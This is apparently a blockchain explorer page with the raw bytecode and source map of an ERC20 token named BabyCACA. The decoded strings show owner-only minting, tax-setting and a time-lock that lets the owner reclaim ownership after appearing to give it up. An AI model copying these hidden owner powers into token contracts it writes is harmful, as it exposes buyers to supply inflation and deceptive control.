6080604052620f4240600a553480156200001857600080fd5b5060405180604001604052806008815260200167426162794341434160c01b8152506040518060400160405280600381526020016242434360e81b8152506000620000686200013060201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508151620000c7906006906020850190620002b7565b508051620000dd906007906020840190620002b7565b505060088054600960ff199091168117610100600160a81b03191662dead001790915560149055506200012a336200011462000134565b60ff16600a0a600a54026200013d60201b60201c565b62000353565b3390565b60085460ff1690565b6001600160a01b03821662000199576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b620001a76000838362000250565b620001c3816005546200025560201b62000a7a1790919060201c565b6005556001600160a01b038216600090815260036020908152604090912054620001f891839062000a7a62000255821b17901c565b6001600160a01b03831660008181526003602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b505050565b600082820183811015620002b0576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002fa57805160ff19168380011785556200032a565b828001600101855582156200032a579182015b828111156200032a5782518255916020019190600101906200030d565b50620003389291506200033c565b5090565b5b808211156200033857600081556001016200033d565b61114080620003636000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80638bde3f12116100b8578063a9059cbb1161007c578063a9059cbb14610368578063b09f126614610394578063c14e8f271461039c578063d28d8852146103a4578063dd62ed3e146103ac578063fcd4fa1f146103da57610137565b80638bde3f12146102e85780638da5cb5b1461030857806395d89b411461032c5780639d8a927914610334578063a457c2d71461033c57610137565b8063313ce567116100ff578063313ce5671461026857806332424aa314610286578063395093511461028e5780634be516c0146102ba57806370a08231146102c257610137565b8063061c82d01461013c57806306fdde031461015b578063095ea7b3146101d857806318160ddd1461021857806323b872dd14610232575b600080fd5b6101596004803603602081101561015257600080fd5b50356103f7565b005b610163610466565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019d578181015183820152602001610185565b50505050905090810190601f1680156101ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610204600480360360408110156101ee57600080fd5b506001600160a01b0381351690602001356104fc565b604080519115158252519081900360200190f35b610220610519565b60408051918252519081900360200190f35b6102046004803603606081101561024857600080fd5b506001600160a01b0381358116916020810135909116906040013561051f565b6102706105a6565b6040805160ff9092168252519081900360200190f35b6102706105af565b610204600480360360408110156102a457600080fd5b506001600160a01b0381351690602001356105b8565b610159610606565b610220600480360360208110156102d857600080fd5b50356001600160a01b0316610706565b610159600480360360208110156102fe57600080fd5b503560ff16610721565b6103106107e9565b604080516001600160a01b039092168252519081900360200190f35b6101636107f8565b610310610859565b6102046004803603604081101561035257600080fd5b506001600160a01b03813516906020013561086d565b6102046004803603604081101561037e57600080fd5b506001600160a01b0381351690602001356108d5565b6101636108e9565b610220610977565b61016361097d565b610220600480360360408110156103c257600080fd5b506001600160a01b03813581169160200135166109d8565b610159600480360360208110156103f057600080fd5b5035610a03565b6103ff610adb565b6000546001600160a01b03908116911614610461576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600955565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104f25780601f106104c7576101008083540402835291602001916104f2565b820191906000526020600020905b8154815290600101906020018083116104d557829003601f168201915b5050505050905090565b6000610510610509610adb565b8484610adf565b50600192915050565b60055490565b600061052c848484610bcb565b61059c84610538610adb565b61059785604051806060016040528060288152602001611052602891396001600160a01b038a16600090815260046020526040812090610576610adb565b6001600160a01b031681526020810191909152604001600020549190610dfb565b610adf565b5060019392505050565b60085460ff1690565b60085460ff1681565b60006105106105c5610adb565b8461059785600460006105d6610adb565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610a7a565b6001546001600160a01b0316331461064f5760405162461bcd60e51b81526004018080602001828103825260238152602001806110c36023913960400191505060405180910390fd5b60025442116106a5576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6001600160a01b031660009081526003602052604090205490565b610729610adb565b6000546001600160a01b0390811691161461078b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b0384161790915516815560ff909116600255604051600a919081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350565b6000546001600160a01b031690565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104f25780601f106104c7576101008083540402835291602001916104f2565b60085461010090046001600160a01b031681565b600061051061087a610adb565b84610597856040518060600160405280602581526020016110e660259139600460006108a4610adb565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610dfb565b60006105106108e2610adb565b8484610bcb565b6007805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561096f5780601f106109445761010080835404028352916020019161096f565b820191906000526020600020905b81548152906001019060200180831161095257829003601f168201915b505050505081565b60095481565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561096f5780601f106109445761010080835404028352916020019161096f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610a0b610adb565b6000546001600160a01b03908116911614610a6d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610a773382610e92565b50565b600082820183811015610ad4576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610b245760405162461bcd60e51b815260040180806020018281038252602481526020018061109f6024913960400191505060405180910390fd5b6001600160a01b038216610b695760405162461bcd60e51b815260040180806020018281038252602281526020018061100a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610c105760405162461bcd60e51b815260040180806020018281038252602581526020018061107a6025913960400191505060405180910390fd5b6001600160a01b038216610c555760405162461bcd60e51b8152600401808060200182810382526023815260200180610fe76023913960400191505060405180910390fd5b610c60838383610f84565b610c9d8160405180606001604052806026815260200161102c602691396001600160a01b0386166000908152600360205260409020549190610dfb565b6001600160a01b038085166000908152600360205260408082209390935590841681522054610ccc9082610a7a565b6001600160a01b0383166000908152600360205260409020819055600954610cf991906064840402610f89565b6001600160a01b0383811660009081526003602052604080822084905560095460085461010090049093168252902054610d37916064850402610a7a565b600880546001600160a01b03610100918290048116600090815260036020908152604080832096909655935492909204811680835291849020548451818152945190949293918916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b60008184841115610e8a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e4f578181015183820152602001610e37565b50505050905090810190601f168015610e7c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216610eed576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b610ef960008383610f84565b600554610f069082610a7a565b6005556001600160a01b038216600090815260036020526040902054610f2c9082610a7a565b6001600160a01b03831660008181526003602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b505050565b600082821115610fe0576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ce9a648f4e5bb1ecf31a4afb76ce9ee1e8814fa7da141a19baa589fa5bd4134b64736f6c634300060c0033

Deployed ByteCode Sourcemap

24404:216:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17626:101;;;;;;;;;;;;;;;;-1:-1:-1;17626:101:0;;:::i;:::-;;15187:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17332:169;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;17332:169:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;16285:108;;;:::i;:::-;;;;;;;;;;;;;;;;18209:321;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;18209:321:0;;;;;;;;;;;;;;;;;:::i;16129:91::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14437:22;;;:::i;18939:218::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;18939:218:0;;;;;;;;:::i;12598:297::-;;;:::i;16456:127::-;;;;;;;;;;;;;;;;-1:-1:-1;16456:127:0;-1:-1:-1;;;;;16456:127:0;;:::i;12337:243::-;;;;;;;;;;;;;;;;-1:-1:-1;12337:243:0;;;;:::i;11936:79::-;;;:::i;:::-;;;;-1:-1:-1;;;;;11936:79:0;;;;;;;;;;;;;;15397:95;;;:::i;14466:27::-;;;:::i;19660:269::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;19660:269:0;;;;;;;;:::i;16796:175::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;16796:175:0;;;;;;;;:::i;14409:21::-;;;:::i;14500:24::-;;;:::i;14383:19::-;;;:::i;17034:151::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;17034:151:0;;;;;;;;;;:::i;17513:101::-;;;;;;;;;;;;;;;;-1:-1:-1;17513:101:0;;:::i;17626:::-;12158:12;:10;:12::i;:::-;12148:6;;-1:-1:-1;;;;;12148:6:0;;;:22;;;12140:67;;;;;-1:-1:-1;;;12140:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17700:9:::1;:19:::0;17626:101::o;15187:91::-;15265:5;15258:12;;;;;;;;-1:-1:-1;;15258:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15232:13;;15258:12;;15265:5;;15258:12;;15265:5;15258:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15187:91;:::o;17332:169::-;17415:4;17432:39;17441:12;:10;:12::i;:::-;17455:7;17464:6;17432:8;:39::i;:::-;-1:-1:-1;17489:4:0;17332:169;;;;:::o;16285:108::-;16373:12;;16285:108;:::o;18209:321::-;18315:4;18332:36;18342:6;18350:9;18361:6;18332:9;:36::i;:::-;18379:121;18388:6;18396:12;:10;:12::i;:::-;18410:89;18448:6;18410:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18410:19:0;;;;;;:11;:19;;;;;;18430:12;:10;:12::i;:::-;-1:-1:-1;;;;;18410:33:0;;;;;;;;;;;;-1:-1:-1;18410:33:0;;;:89;:37;:89::i;:::-;18379:8;:121::i;:::-;-1:-1:-1;18518:4:0;18209:321;;;;;:::o;16129:91::-;16203:9;;;;16129:91;:::o;14437:22::-;;;;;;:::o;18939:218::-;19027:4;19044:83;19053:12;:10;:12::i;:::-;19067:7;19076:50;19115:10;19076:11;:25;19088:12;:10;:12::i;:::-;-1:-1:-1;;;;;19076:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;19076:25:0;;;:34;;;;;;;;;;;:38;:50::i;12598:297::-;12657:14;;-1:-1:-1;;;;;12657:14:0;12675:10;12657:28;12649:76;;;;-1:-1:-1;;;12649:76:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12750:6;;12744:3;:12;12736:57;;;;;-1:-1:-1;;;12736:57:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;12838:14;;;12830:6;;12809:44;;-1:-1:-1;;;;;12838:14:0;;;;12830:6;;;;12809:44;;;12873:14;;;12864:23;;-1:-1:-1;;;;;;12864:23:0;-1:-1:-1;;;;;12873:14:0;;;12864:23;;;;;;12598:297::o;16456:127::-;-1:-1:-1;;;;;16557:18:0;16530:7;16557:18;;;:9;:18;;;;;;;16456:127::o;12337:243::-;12158:12;:10;:12::i;:::-;12148:6;;-1:-1:-1;;;;;12148:6:0;;;:22;;;12140:67;;;;;-1:-1:-1;;;12140:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12432:6:::1;::::0;;;12415:23;;-1:-1:-1;;;;;;12415:23:0;;::::1;-1:-1:-1::0;;;;;12432:6:0;::::1;12415:23;::::0;;;12449:19:::1;::::0;;12479:15:::1;::::0;;::::1;:6;:15:::0;12532:40:::1;::::0;12514:2:::1;::::0;12432:6;;;12532:40:::1;::::0;12432:6;;12532:40:::1;12337:243:::0;:::o;11936:79::-;11974:7;12001:6;-1:-1:-1;;;;;12001:6:0;11936:79;:::o;15397:95::-;15477:7;15470:14;;;;;;;;-1:-1:-1;;15470:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15444:13;;15470:14;;15477:7;;15470:14;;15477:7;15470:14;;;;;;;;;;;;;;;;;;;;;;;;14466:27;;;;;;-1:-1:-1;;;;;14466:27:0;;:::o;19660:269::-;19753:4;19770:129;19779:12;:10;:12::i;:::-;19793:7;19802:96;19841:15;19802:96;;;;;;;;;;;;;;;;;:11;:25;19814:12;:10;:12::i;:::-;-1:-1:-1;;;;;19802:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;19802:25:0;;;:34;;;;;;;;;;;:96;:38;:96::i;16796:175::-;16882:4;16899:42;16909:12;:10;:12::i;:::-;16923:9;16934:6;16899:9;:42::i;14409:21::-;;;;;;;;;;;;;;;-1:-1:-1;;14409:21:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14500:24::-;;;;:::o;14383:19::-;;;;;;;;;;;;;;;-1:-1:-1;;14383:19:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17034:151;-1:-1:-1;;;;;17150:18:0;;;17123:7;17150:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17034:151::o;17513:101::-;12158:12;:10;:12::i;:::-;12148:6;;-1:-1:-1;;;;;12148:6:0;;;:22;;;12140:67;;;;;-1:-1:-1;;;12140:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17574:32:::1;17587:10;17599:6;17574:12;:32::i;:::-;17513:101:::0;:::o;6702:179::-;6760:7;6792:5;;;6816:6;;;;6808:46;;;;;-1:-1:-1;;;6808:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;6872:1;6702:179;-1:-1:-1;;;6702:179:0:o;742:106::-;830:10;742:106;:::o;22888:346::-;-1:-1:-1;;;;;22990:19:0;;22982:68;;;;-1:-1:-1;;;22982:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;23069:21:0;;23061:68;;;;-1:-1:-1;;;23061:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;23142:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;23194:32;;;;;;;;;;;;;;;;;22888:346;;;:::o;20419:874::-;-1:-1:-1;;;;;20525:20:0;;20517:70;;;;-1:-1:-1;;;20517:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20606:23:0;;20598:71;;;;-1:-1:-1;;;20598:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20682:47;20703:6;20711:9;20722:6;20682:20;:47::i;:::-;20762:71;20784:6;20762:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20762:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;20742:17:0;;;;;;;:9;:17;;;;;;:91;;;;20867:20;;;;;;;:32;;20892:6;20867:24;:32::i;:::-;-1:-1:-1;;;;;20844:20:0;;;;;;:9;:20;;;;;:55;;;20973:9;;20933:50;;20844:55;20967:3;20958:12;;:24;20933;:50::i;:::-;-1:-1:-1;;;;;20910:20:0;;;;;;;:9;:20;;;;;;:73;;;21111:9;;21078:12;;;;;;;;21068:23;;;;;:53;;21105:3;21096:12;;:24;21068:27;:53::i;:::-;21052:12;;;-1:-1:-1;;;;;21052:12:0;;;;;;;21042:23;;;;:9;:23;;;;;;;;:79;;;;21158:12;;;;;;;;21148:23;;;;;;;;21187:37;;;;;;;21148:23;;21158:12;;21187:37;;;;;;;;;;;;;21257:9;-1:-1:-1;;;;;21240:35:0;21249:6;-1:-1:-1;;;;;21240:35:0;;21268:6;21240:35;;;;;;;;;;;;;;;;;;20419:874;;;;;:::o;9529:166::-;9615:7;9651:12;9643:6;;;;9635:29;;;;-1:-1:-1;;;9635:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;9682:5:0;;;9529:166::o;21306:393::-;-1:-1:-1;;;;;21397:21:0;;21389:65;;;;;-1:-1:-1;;;21389:65:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;21467:49;21496:1;21500:7;21509:6;21467:20;:49::i;:::-;21552:12;;:24;;21569:6;21552:16;:24::i;:::-;21537:12;:39;-1:-1:-1;;;;;21608:18:0;;;;;;:9;:18;;;;;;:30;;21631:6;21608:22;:30::i;:::-;-1:-1:-1;;;;;21587:18:0;;;;;;:9;:18;;;;;;;;:51;;;;21654:37;;;;;;;21587:18;;;;21654:37;;;;;;;;;;21306:393;;:::o;24266:92::-;;;;:::o;7164:158::-;7222:7;7255:1;7250;:6;;7242:49;;;;;-1:-1:-1;;;7242:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7309:5:0;;;7164:158::o

Swarm Source

ipfs://ce9a648f4e5bb1ecf31a4afb76ce9ee1e8814fa7da141a19baa589fa5bd4134b
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.